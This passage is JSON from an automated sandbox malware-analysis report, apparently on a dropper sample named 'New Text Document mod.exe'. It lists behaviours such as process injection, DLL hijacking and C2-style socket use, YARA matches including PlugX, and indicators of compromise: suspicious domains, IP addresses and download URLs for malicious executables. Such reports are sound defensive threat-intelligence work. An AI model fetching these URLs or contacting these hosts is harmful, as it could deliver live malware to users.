string)","description":"$69","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to lookup the windows account name","description":"GetUserNameA@ADVAPI32.DLL at 00000000-00000968-33623-216-0041CE54","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1033","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to queue an Asynchronous Procedure Call (APC) in a remote process (API string)","description":"Found reference to API \"QueueUserAPC\" (Indicator: \"QueueUserAPC\"; File: \"New Text Document mod.exe\")\n Found reference to API \"NtQueueApcThread\" (Indicator: \"QueueApcThread\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.004","relevance":1,"id":"string-255","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"NewTextDocumentmod.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"TLauncher-Installer-1.9.4.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"lJ5IwxN.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$6a","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"$6b","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$6c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"\"vulkan-1.dll\" has type \"PE32+ executable for MS Windows 10.00 (DLL) x86-64 9 sections\"- [targetUID: N/A]\n \"info.dll\" has type \"PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections\"- [targetUID: N/A]\n \"lua5.3.dll\" has type \"PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections\"- Location: [%TEMP%\\_ir_sf_temp_0\\lua5.3.dll]- [targetUID: 00000000-00005524]\n \"_iscrypt.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 3 sections\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"NewTextDocumentmod.exe\" queries basic process information of the \"C:\\NewTextDocumentmod.exe\" (UID: 2000)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$6d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"NewTextDocumentmod.exe\" called \"NtQueueApcThread\" (UID: 00000000-00002000)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$6e","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$6f","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$70","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in program files directory","description":"\"random.exe\" touched file \"C:\\Program Files (x86)\\Company\\NewProduct\\Setup.exe\"\n \"random.exe\" touched file \"C:\\Program Files (x86)\\Company\\NewProduct\\Uninstall.exe\"\n \"random.exe\" touched file \"C:\\Program Files (x86)\\Company\\NewProduct\\Uninstall.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"NewTextDocumentmod.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"NewTextDocumentmod.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$71","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$72","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"NewTextDocumentmod.exe\" writes file \"c:\\a\\02.08.2022.exe\"\n \"NewTextDocumentmod.exe\" writes file \"c:\\a\\cooking.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"irsetup.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_ir_sf_temp_0\\irsetup.dat\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"irsetup.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"GET\" object: 2f\" - (UID: 00000000-00005524), \"irsetup.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"GET\" object: /check_latest_tl.php?optime=0\" - (UID: 00000000-00005524)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"irsetup.exe\" called \"InternetReadFile\" with parameter 1024 (UID: 00000000-00005524)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"irsetup.exe\" called \"InternetOpenA with parameter Setup Factory 10.0\" (UID: 00000000-00005524)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"$73","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate via sockets (Dotnet)","description":"$74","origin":"Static Parser","mitre_attack_id":"T1095","relevance":1,"id":"static-159","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$75","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (Dotnet)","description":"$76","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-158","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicates via socket (possible C&C communication)","description":"Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"BeginConnect\" in \"server.exe\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"EndConnect\" in \"server.exe\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"get_Connected\" in \"server.exe\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"BeginReceive\" in \"server.exe\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"EndReceive\" in \"server.exe\"\n Observed Namespace \"System.Net.Sockets.Socket\" and MemberReference \"Connect\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1071","relevance":1,"id":"static-151","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectW\" (Indicator: \"InternetConnect\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; File: \"New Text Document mod.exe\")\n Found reference to API \"InternetConnectW\" (Indicator: \"InternetConnect\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestW\" (Indicator: \"HttpOpenRequest\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"WinHttpOpenRequest\" (Indicator: \"HttpOpenRequest\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; File: \"New Text Document mod.exe\")\n Found reference to API \"HttpOpenRequestW\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"WinHttpOpenRequest\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"$77","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"URLDownloadToFileA\" (Indicator: \"URLDownloadToFile\"; File: \"New Text Document mod.exe\")\n Found reference to API \"URLDownloadToFileA\" (Indicator: \"URLDownload\"; File: \"New Text Document mod.exe\")\n Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide interface for network protocols (Dotnet)","description":"Observed namespace \"System.Net\" in \"New Text Document mod.exe\"\n Observed namespace \"System.Net.Security\" in \"New Text Document mod.exe\"\n Observed namespace \"System.Net\" in \"server.exe\"\n Observed namespace \"System.Net.Sockets\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-110","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve internet settings (API string)","description":"Found reference to API \"InternetQueryOptionA\" (Indicator: \"InternetQueryOption\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-314","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionW\" (Indicator: \"InternetSetOption\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; File: \"New Text Document mod.exe\")\n Found reference to API \"InternetSetOptionW\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"$78","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; File: \"New Text Document mod.exe\")\n Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"gethostname\" (Indicator: \"gethostname\"; File: \"New Text Document mod.exe\")\n Found reference to API \"WSAGetLastError\" (Indicator: \"wsagetlasterror\"; File: \"New Text Document mod.exe\")\n Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; File: \"New Text Document mod.exe\")\n Found reference to API \"WSACleanup\" (Indicator: \"wsacleanup\"; File: \"New Text Document mod.exe\")\n Found reference to API \"__WSAFDIsSet\" (Indicator: \"__wsafdisset\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Network Related","name":"Contains references to the retrieval of internet session handle (imports API)","description":"Found InternetQueryOptionA in import section (Source: HCBSXXl.exe)","origin":"Static Parser","mitre_attack_id":"T1016","relevance":1,"id":"static-206","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"file/memory contains long string with (Indicator: \"githubusercontent.com\"; Source: \"00000000-00002000-00000CBD-3205965006\")\n file/memory contains long string with (Indicator: \".googleapis.com\"; Source: \"00000000-00002000-00000CBD-3206037699\")","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$79","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$7a","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$7b","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"$7c","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"uploadsfre.com\" has high entropy\n Contacted domain: \"dl2.tlauncher.org\" has high entropy\n Contacted domain: \"cwwgg-p5wdxtar.com\" has high entropy\n Contacted domain: \"silverfox.com\" has high entropy\n Contacted domain: \"t-launcher.site\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://urlhaus.abuse.ch\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"cwwgg-p5wdxtar.com\" (11 days old)\n Newly renewed or created SSL certificate: \"t-launcher.site\" (4 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Network Related","name":"References server/domain address with port number","description":"$7d","origin":"Indicator Combinations","mitre_attack_id":"T1571","id":"summary-25","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://urlhaus.abuse.ch/downloads/text_online/\n Found HTTPS GET request to https://uploadsfre.com/cooking.exe\n Found HTTPS GET request to https://dl2.tlauncher.org/check_latest_tl.php?optime=0\n Found HTTPS GET request to https://telegram.me/k0ddr","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"cwwgg-p5wdxtar.com\" (89 days old)\n Short term registered certificate: \"t-launcher.site\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"151.101.194.49\" on port \"443\"\n HTTPS traffic to \"199.188.205.20\" on port \"443\"\n HTTPS traffic to \"188.127.225.100\" on port \"443\"\n HTTPS traffic to \"104.20.7.182\" on port \"443\"\n HTTPS traffic to \"94.154.172.199\" on port \"443\"\n HTTPS traffic to \"149.154.167.99\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"window.exe\"\n YARA signature for AES encryption matched on file \"rabert.exe\"\n YARA signature for AES encryption matched on file \"windows.exe\"\n YARA signature for AES encryption matched on file \"meitu.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Djb2 Hash Algorithm","description":"YARA signature for Djb2 Hash Algorithm matched on file \"Trails.scr\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-542","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - High entropy file","description":"$7e","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":5,"id":"yara-605","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Medium entropy File","description":"$7f","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":5,"id":"yara-606","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PE executable embedded in .rsrc section","description":"YARA signature for embedded PE executable in .rsrc section matched on file \"is-VDH2G.tmp\"\n YARA signature for embedded PE executable in .rsrc section matched on file \"C8c1bbe.tmp\"\n YARA signature for embedded PE executable in .rsrc section matched on file \"GL0ygTD.tmp\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":5,"id":"yara-26","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PlugX malware custom PEB traversal","description":"YARA signature to detect PlugX malware custom PEB traversal file \"syschnu.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027.007","relevance":9,"id":"yara-575","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RC4 Encryption","description":"$80","origin":"YARA Signature","mitre_attack_id":"T1027","id":"yara-104","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"sys.exe\"\n YARA signature matched on embedded PE in file \"MSTeams.exe\"\n YARA signature matched on embedded PE in file \"is-VDH2G.tmp\"\n YARA signature matched on embedded PE in file \"C8c1bbe.tmp\"\n YARA signature matched on embedded PE in file \"GL0ygTD.tmp\"\n YARA signature matched on embedded PE in file \"BrowserInstaller.exe\"\n YARA signature matched on embedded PE in file 